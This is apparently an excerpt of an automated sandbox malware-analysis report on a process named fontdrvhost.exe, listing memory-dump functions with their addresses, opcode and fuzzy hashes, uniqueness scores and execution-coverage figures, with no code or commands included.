Instruction ID: 554862730038dcc81a5fba718703d9c00e7d4880a32476609c12a21345160d6c
Opcode Fuzzy Hash: 2d118f527e32161ca1f6223e785a9c62a596755c660eb21e240f5ba74b8a1e23
Instruction Fuzzy Hash: 6031B870A0491C8FCFA8DB18C854BE9B3F1FB68305F1041EAD10EE32A5DA75AA84CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10E82B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab9ccdefb181cdfc891c520f725ed2b6fce19362307fd1967e5b41aeda6d1c0a
Instruction ID: 8cbfa0e16520bd0e7144ab977bb8940f049af59a28f896a5208d183ebe05d665
Opcode Fuzzy Hash: ab9ccdefb181cdfc891c520f725ed2b6fce19362307fd1967e5b41aeda6d1c0a
Instruction Fuzzy Hash: 3F21F43190D68DCFCB66DF64C864AE57BB0FF46340F0800EAD44DDB1A2CA395A95CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10E82A Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a526ecec5edfc8589ca5352b476fb0b280cbe10671d3de6cb110f96a2d0c8a07
Instruction ID: e0c078be82f2f62d03531f4ee0acf398a301b55196d06360b03ec414e4c519bc
Opcode Fuzzy Hash: a526ecec5edfc8589ca5352b476fb0b280cbe10671d3de6cb110f96a2d0c8a07
Instruction Fuzzy Hash: 9521F73190D68DCFDB56DF64C864AD87BB0FF56340F0400EAD44DD71A2CA399995CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA211A2 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b3af3d28c4a6bce9000c1a380e7fa94bd9e9b4d81aa7b7f90af3656288bbd37
Instruction ID: 380c9978a1f0d42adf95f6714f51148f009337b3f12b5a63324b069e8b633cb2
Opcode Fuzzy Hash: 6b3af3d28c4a6bce9000c1a380e7fa94bd9e9b4d81aa7b7f90af3656288bbd37
Instruction Fuzzy Hash: FA210E30A1891E8FEF94EF98C8949ADB7F1FF68300B11057AD419D32A5EF74A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C109F4F Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11905bfa2ca239eb57f9cec12a6e9ebb1b6dc600f6201e0143ac30001204b936
Instruction ID: b4ca8e094e24f557a6005b73a07075716f949563c8f3f92f72c59574252bd79a
Opcode Fuzzy Hash: 11905bfa2ca239eb57f9cec12a6e9ebb1b6dc600f6201e0143ac30001204b936
Instruction Fuzzy Hash: E311D232F1DA4A4FEB68EB9884316ECB7A1EF59350F5401BAD05DD32C3DD2868058345

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1095C1 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cae7c636cb0fca7eb7db137d149c12500fe32bba6689d468652ae5ce9a37e4e
Instruction ID: 1206d503f6f985f17155e96b275e3aff3e3fc7a061a613707f141fe46e4958e2
Opcode Fuzzy Hash: 2cae7c636cb0fca7eb7db137d149c12500fe32bba6689d468652ae5ce9a37e4e
Instruction Fuzzy Hash: C9110213F4D1938BFA39D6E568314BD66716F457E0F5842BBE85EA30C6CC0D2887239A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10AA80 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a4951cfa39e311fa279f54491bb6f9e008a2036cb1c131f88ff3b1ab9229ce5
Instruction ID: d8bfddf6f378c1d8ce937e721a605efe925ad93634e3499dca67377f9e9e614e
Opcode Fuzzy Hash: 2a4951cfa39e311fa279f54491bb6f9e008a2036cb1c131f88ff3b1ab9229ce5
Instruction Fuzzy Hash: C011E322F0D90B8EEB64FB6480615FA73A1EF64381B40463AD44FD31D2DE28B9458795

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA20C38 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d17335290f92999ba984264b1eb02bbbd35d429891a0aa01e235dc84735ba4
Instruction ID: 714e23fcbb5f872ea056ae3cf6adb7994ef6708d6679cc9ca44901981b825352
Opcode Fuzzy Hash: 16d17335290f92999ba984264b1eb02bbbd35d429891a0aa01e235dc84735ba4
Instruction Fuzzy Hash: 99112971B4E68E4AE722EBA8C8212EE77A0EF81711F054577C496972E2CA7822058785

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10A8FE Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b86bc7153012062a4b3193a1ffd12eb462c6e9426765613dd21565bf691aaece
Instruction ID: 65d8b330ec41bc830470007aee3e33fa0c7312f4084865883a39fbd12ae7c084
Opcode Fuzzy Hash: b86bc7153012062a4b3193a1ffd12eb462c6e9426765613dd21565bf691aaece
Instruction Fuzzy Hash: B6116632B0950B8FE725DB88D4212E533A1EF65391F14423AD90AC72D2DE39AA908790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C103DB8 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b844da84b02b05da98f1ff3210fe0aa065f6ec81019455dd10d0ca919ef00d3d
Instruction ID: 6724efdac33e964f639dac9dc3806d25c9e0da0310fec9f5ca73e69a34db1f3c
Opcode Fuzzy Hash: b844da84b02b05da98f1ff3210fe0aa065f6ec81019455dd10d0ca919ef00d3d
Instruction Fuzzy Hash: C801D232F08A4F8BF770DAA444782BD2AF1DF59381F140576E00EF7291DD686C458399

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA20C40 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1f87384e305461b1c52ffbd84f41b3feb2e86618f73b296cacbf694ca556a92
Instruction ID: 499327435ff4a641e228befef7b80d8018350352cce3c9a8ba2e0d84cf87ee47
Opcode Fuzzy Hash: f1f87384e305461b1c52ffbd84f41b3feb2e86618f73b296cacbf694ca556a92
Instruction Fuzzy Hash: 3A112B71B4E68E8AE722EBA4C8612EE77A0EF41710F054577C456972E2CE782215C785

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA20B7F Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb31d757649e5f10977a3a8b15b29dafa16ca7cad244d95d20db118d5c45952b
Instruction ID: 63290e0ef2e8eec0800c83b9c0f5973fc5c2b320d64d6aa7e0fae82daf5c0a89
Opcode Fuzzy Hash: cb31d757649e5f10977a3a8b15b29dafa16ca7cad244d95d20db118d5c45952b
Instruction Fuzzy Hash: 1F113971A2864E8FCB54EF68C895AEA77E0FF58718F0501AAF84DD3251D730A554CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C109542 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dc804eebf76db433469f4e534a08d63bff68d2114a25ee6fc1b23d8be885ed
Instruction ID: c56a1796b036a5cadc2cdc36c408dce294fd3ae7606c53fd2d22455d8c47331d
Opcode Fuzzy Hash: 49dc804eebf76db433469f4e534a08d63bff68d2114a25ee6fc1b23d8be885ed
Instruction Fuzzy Hash: 27119231E1881EDFDFA8EB99D4A09EDB7B1FF58344F50057AD00EE3295CA3468418B54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA22303 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 314f1ac0b346bfa732352059bb14de0d694f24d789853697903efdb36887edf3
Instruction ID: 2432943e878e80ab3724c1f37749bcf3a04a11e244c0aa0a864535d3156a6d26
Opcode Fuzzy Hash: 314f1ac0b346bfa732352059bb14de0d694f24d789853697903efdb36887edf3
Instruction Fuzzy Hash: AF21D870E4A62D8EEB74EF54C859BA9B3B1EB94301F1042E9D40DA22A0DFB45B84CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA20845 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c92bf6f24e4d8a0381e3ffcf511e90474b528085319a77b7deb45bb48ee0d22
Instruction ID: 15d9a2b3b9c4047868c5fb4116141bd422c5655a02b41bff2eea99bab61364a4
Opcode Fuzzy Hash: 2c92bf6f24e4d8a0381e3ffcf511e90474b528085319a77b7deb45bb48ee0d22
Instruction Fuzzy Hash: 11012C3060854D9FDB84EF98D895AEE7BE0FF64301F0100A6E858C3165CA30E5A5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1075CD Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38d2ae9b40e01ea4391cdf2590884496de028970a674d6282c467a8288703b6c
Instruction ID: 0de2aa66660ac7703ebd41422f24a13adab1e9a50a14956f34ddf850278f7124
Opcode Fuzzy Hash: 38d2ae9b40e01ea4391cdf2590884496de028970a674d6282c467a8288703b6c
Instruction Fuzzy Hash: CCF02612A0CA478BF779DBA890750B83BB0EF15340F0406BAC05BD24D2EE18B8414381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA2670C Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4583c2ba19656c31cb865b77a5996a89d1086babf24e181f0a81c986aecedd26
Instruction ID: 048a137d278f508813a34666ff35c06884a5ca6be7264c14c9fed119c2e39415
Opcode Fuzzy Hash: 4583c2ba19656c31cb865b77a5996a89d1086babf24e181f0a81c986aecedd26
Instruction Fuzzy Hash: 65012930E0555E8FEB74EB18C8987E9B3B1EF94301F1082F5D41DA2299DA741E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA206A5 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7eb1e6881778821525c5971643fba51a4ef81b31ef8c71385bc34fdc07dee0b
Instruction ID: 49c8bd6ef03ed2565b99043494dcf68b92f85ee0e4bea34bfa13de3766edfe1a
Opcode Fuzzy Hash: e7eb1e6881778821525c5971643fba51a4ef81b31ef8c71385bc34fdc07dee0b
Instruction Fuzzy Hash: 12F05430E4560E9FEBA0EFA8D4596ED77E0FF54304F114437E81CC21A0DAB46690C784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA206C8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c24d933ba1f745f82d880346f083b029f9d907220e3d00da3aeb23e0e8f9906a
Instruction ID: 4f9c20cc620671a0530dfc2689d9986a4c51c6930a14fae134a8a1539bbfdc2c
Opcode Fuzzy Hash: c24d933ba1f745f82d880346f083b029f9d907220e3d00da3aeb23e0e8f9906a
Instruction Fuzzy Hash: 42F0123091564D9FDB90EFA4C4496EE7BE0FF14304F014466E81DD2160DA74A6A0CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA20B18 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2316496969008f09d09659316c41d102bc1514a271f663463e6ca2992d79f741
Instruction ID: 624e35642214ee15d999bd8f63e82883b7e966dd486ddec683d6d8aad9ca39c9
Opcode Fuzzy Hash: 2316496969008f09d09659316c41d102bc1514a271f663463e6ca2992d79f741
Instruction Fuzzy Hash: 9BF01530508A0ECFDF90EF68C944AAA37A1FF28301F000165F41DC31A4DB70EAA0CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C107635 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d766cce74b21b06da0dc4e7595b5aea7c76baea1a70b2ed1350f2d727a90a501
Instruction ID: 6938539bc20f30bf55ea480e924cd0a2bc2089614e45232d943650fe06b75454
Opcode Fuzzy Hash: d766cce74b21b06da0dc4e7595b5aea7c76baea1a70b2ed1350f2d727a90a501
Instruction Fuzzy Hash: 87E09A3281D38A8BE761DB5488760EC7B30BF00340F5801EAD90A16282DA6466189282

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C109E07 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1652889e5684e795787387994b6d85b161bcc6c744b848f2ef70e8d86f41ed73
Instruction ID: 32ee338efd8156dc670772b20a5067087a261245e430bbda5d8e9bc5cbf43b2c
Opcode Fuzzy Hash: 1652889e5684e795787387994b6d85b161bcc6c744b848f2ef70e8d86f41ed73
Instruction Fuzzy Hash: 30E0C202B0C6838FF73286B40CB50782FA09F0B3C0B1409F5D18A9A2D3D9183C049319

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10A8DB Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5c8676b47044bbb3c5db7628fae0690d09d220f5ca17a06c309ede9dc85c081
Instruction ID: 9b94548bcea625e1088c9e69c66b4fd2dae1edc2df189d4bac9fec5d32b0723c
Opcode Fuzzy Hash: f5c8676b47044bbb3c5db7628fae0690d09d220f5ca17a06c309ede9dc85c081
Instruction Fuzzy Hash: 48D0C912F0C603C5F138D6C1417123E21B9AF00382E20007FD25F719C1CD1C7A93A20D

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: fontdrvhost.exePID: 7736, Parent PID: 7288COMMON

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	88.9%
Signature Coverage:	0%
Total number of Nodes:	18
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BA0B7ED Relevance: 2.5, Strings: 1, Instructions: 1252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jX_H, xrefs: 00007FFD9BA0B9D4

Memory Dump Source

Source File: 00000015.00000002.2132802424.00007FFD9BA0B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA0B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba0b000_fontdrvhost.jbxd

Similarity

API ID:
String ID: jX_H
API String ID: 0-1381252938
Opcode ID: cb747480b85ae157accdaf6b2a08e28e9f9633afc4e1cdd1d273ad6aef43858b
Instruction ID: 56711f0a79feec0a03c67ff154c71b9b05519fb1e1f23ca94bad0ec260dae0e9
Opcode Fuzzy Hash: cb747480b85ae157accdaf6b2a08e28e9f9633afc4e1cdd1d273ad6aef43858b
Instruction Fuzzy Hash: 53B20C70E0991D8FDBA8EF58C8A5AA8B7B1FB59300F5441EAD04DE3291DE756E81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DB66F Relevance: .7, Instructions: 726COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 385bda896fc5a1bd923a44321d3e1f683e117acde8375b6c06e61d3f5f34d13c
Instruction ID: eb6620716ca2fcde172ebd815047282bb5057d2e20a4a40612b76ae1c0f7b26b
Opcode Fuzzy Hash: 385bda896fc5a1bd923a44321d3e1f683e117acde8375b6c06e61d3f5f34d13c
Instruction Fuzzy Hash: 58529130A1865A8FEB68DF58C4A56B877B1FF55300F5042BDE45ECB2C6DB38A981CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCCC68 Relevance: 2.7, Strings: 2, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9BBCCCE2
X1_H, xrefs: 00007FFD9BBCCC73

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: $X1_H
API String ID: 0-3961195906
Opcode ID: ea364f6295760fb2ecd1688b3652a1ae8c5d54f268a9d53bf4838dda1ed6c44a
Instruction ID: 2235b8f45b81bdc67e765d16357a9108c45824f8513ecd2a11bfaa1b97a57a64
Opcode Fuzzy Hash: ea364f6295760fb2ecd1688b3652a1ae8c5d54f268a9d53bf4838dda1ed6c44a
Instruction Fuzzy Hash: 7E517C71E0950E8FDB59EB98C4A55FDBBB1FF55304F1140BAC01AE72D6DA386941CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DD170 Relevance: 2.3, Strings: 1, Instructions: 1053COMMON

Download Yara Rule

Strings

r^^, xrefs: 00007FFD9C0DD201

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID: r^^
API String ID: 0-2110808769
Opcode ID: 5ca395970e8d484b59e319911eb5ac938ceac7bb9f473067d2194e9d3bfecb98
Instruction ID: 5146a7b34c57ee64f636f157aebe234896cc24f96d4dfde7d3c62bbdfb0f9a7b
Opcode Fuzzy Hash: 5ca395970e8d484b59e319911eb5ac938ceac7bb9f473067d2194e9d3bfecb98
Instruction Fuzzy Hash: C972EA12F0D3634BF722BBACA4F59E67BE09F12268F0902F7E05D490D3EE09694592D5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA0C0A8 Relevance: 2.0, Strings: 1, Instructions: 718
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^X_H, xrefs: 00007FFD9BA0C5CE

Memory Dump Source

Source File: 00000015.00000002.2132802424.00007FFD9BA0B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA0B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba0b000_fontdrvhost.jbxd

Similarity

API ID:
String ID: ^X_H
API String ID: 0-756895932
Opcode ID: dbccc6222959e452bf791cb09b9081e1b2a27bccda7d53de94ceb20612059ef7
Instruction ID: ab01cce0ca866e6842159afe4b68e8859d56c8a198d9d5ba15f65897eaefdbe3
Opcode Fuzzy Hash: dbccc6222959e452bf791cb09b9081e1b2a27bccda7d53de94ceb20612059ef7
Instruction Fuzzy Hash: A9521071E0992D8FEBA4EF58C8A97A8B7B1FB59300F4401FAD04DD3191DA786E858F41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D861D Relevance: 1.7, Strings: 1, Instructions: 404
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^^8, xrefs: 00007FFD9C0D862A

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID: ^^8
API String ID: 0-1095223944
Opcode ID: 2fe8ad2c0737e2c0a5ae8fa5adcf8d68c3ed2595147cb61c749edca4351ddd3a
Instruction ID: a04c5be144b5be0e86b6ccd28b4f9d4ed30a83851f8fcde782446aa6450d960c
Opcode Fuzzy Hash: 2fe8ad2c0737e2c0a5ae8fa5adcf8d68c3ed2595147cb61c749edca4351ddd3a
Instruction Fuzzy Hash: 3F510C31B0C61B8FE775BBA894625F877F0EF04390F1903B6E44D860D6EF29684596C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCCEDF Relevance: 1.6, Strings: 1, Instructions: 361
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

k@, xrefs: 00007FFD9BBCD067, 00007FFD9BBCD107

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: k@
API String ID: 0-350512992
Opcode ID: f579f6c6d0dd53790c3022d843e050274251bae2224785f2adda810b7600d180
Instruction ID: 5d56ad453f1af1ef644d2228017561de20c2bbdc2ec4eb7f7683066003e3dc2b
Opcode Fuzzy Hash: f579f6c6d0dd53790c3022d843e050274251bae2224785f2adda810b7600d180
Instruction Fuzzy Hash: 79D1C33461954A8FEB68DF58C0E06B577A1FF45304B5546BDC84BCB69BCA38F982CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCCEFF Relevance: 1.6, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

k@, xrefs: 00007FFD9BBCD067, 00007FFD9BBCD107

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: k@
API String ID: 0-350512992
Opcode ID: ca370307a954c94519d58f6d4a2c5ff94a9df851b584f8fa48495847243fe028
Instruction ID: 92054b980b0872e42da85cfe1153e13c2e994fc943b18960a2a1ecd785e2716f
Opcode Fuzzy Hash: ca370307a954c94519d58f6d4a2c5ff94a9df851b584f8fa48495847243fe028
Instruction Fuzzy Hash: 2CC1E33061954A8BEB29DF58C0E05B577A1FF45308B5546BDC84B8B6DBCA38F982CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCC792 Relevance: 1.6, Strings: 1, Instructions: 320
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\1_H, xrefs: 00007FFD9BBCC8EF

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: \1_H
API String ID: 0-3222431896
Opcode ID: 2c92e7f8f8632a884981930cbd4d2109644e08e99c9c0fc1c7e2713e3e2d2198
Instruction ID: 9ec942af124fd09fb2da5225e509af48232a085de93bd1525425f8a0abe353c4
Opcode Fuzzy Hash: 2c92e7f8f8632a884981930cbd4d2109644e08e99c9c0fc1c7e2713e3e2d2198
Instruction Fuzzy Hash: 27C1C430B09A4A5FE759EB6CC0A06B4B7A1FF68304F55417AD04EC7AD6DB28B951CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D86FA Relevance: 1.6, Strings: 1, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^^, xrefs: 00007FFD9C0D86FA

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID: ^^
API String ID: 0-2541302950
